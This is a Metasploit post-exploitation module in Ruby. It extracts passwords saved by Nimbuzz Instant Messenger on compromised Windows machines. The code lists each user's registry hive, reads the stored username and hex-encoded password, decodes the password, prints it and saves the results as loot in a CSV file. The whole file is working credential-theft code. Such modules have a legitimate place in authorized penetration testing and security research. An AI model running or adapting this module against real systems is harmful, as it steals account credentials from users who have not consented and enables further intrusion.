1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Post
7
  include Msf::Post::Windows::Registry
8
  include Msf::Auxiliary::Report
9

10
  def initialize(info = {})
11
    super(
12
      update_info(
13
        info,
14
        'Name' => 'Windows Gather Nimbuzz Instant Messenger Password Extractor',
15
        'Description' => %q{
16
          This module extracts the account passwords saved by Nimbuzz Instant
17
          Messenger in hex format.
18
        },
19
        'License' => MSF_LICENSE,
20
        'Author' => [
21
          'sil3ntdre4m <sil3ntdre4m[at]gmail.com>',
22
          'Unknown', # SecurityXploded Team, www.SecurityXploded.com
23
        ],
24
        'Platform' => [ 'win' ],
25
        'SessionTypes' => [ 'meterpreter' ],
26
        'Notes' => {
27
          'Stability' => [CRASH_SAFE],
28
          'SideEffects' => [],
29
          'Reliability' => []
30
        }
31
      )
32
    )
33
  end
34

35
  def run
36
    creds = Rex::Text::Table.new(
37
      'Header' => 'Nimbuzz Instant Messenger Credentials',
38
      'Indent' => 1,
39
      'Columns' =>
40
      [
41
        'User',
42
        'Password'
43
      ]
44
    )
45

46
    registry_enumkeys('HKU').each do |k|
47
      next unless k.include?('S-1-5-21')
48
      next if k.include?('_Classes')
49

50
      vprint_status("Looking at Key #{k}")
51
      subkeys = registry_enumkeys("HKU\\#{k}\\Software\\Nimbuzz\\")
52

53
      if subkeys.nil? || (subkeys == '')
54
        print_status('Nimbuzz Instant Messenger not installed for this user.')
55
        next
56
      end
57

58
      user = registry_getvaldata("HKU\\#{k}\\Software\\Nimbuzz\\PCClient\\Application\\", 'Username') || ''
59
      hpass = registry_getvaldata("HKU\\#{k}\\Software\\Nimbuzz\\PCClient\\Application\\", 'Password')
60

61
      next if hpass.nil? || (hpass == '')
62

63
      hpass =~ /.{11}(.*)./
64
      decpass = [::Regexp.last_match(1)].pack('H*')
65
      print_good("User=#{user}, Password=#{decpass}")
66
      creds << [user, decpass]
67
    end
68

69
    print_status('Storing data...')
70
    path = store_loot(
71
      'nimbuzz.user.creds',
72
      'text/csv',
73
      session,
74
      creds.to_csv,
75
      'nimbuzz_user_creds.csv',
76
      'Nimbuzz User Credentials'
77
    )
78
    print_good("Nimbuzz user credentials saved in: #{path}")
79
  end
80
end
81

82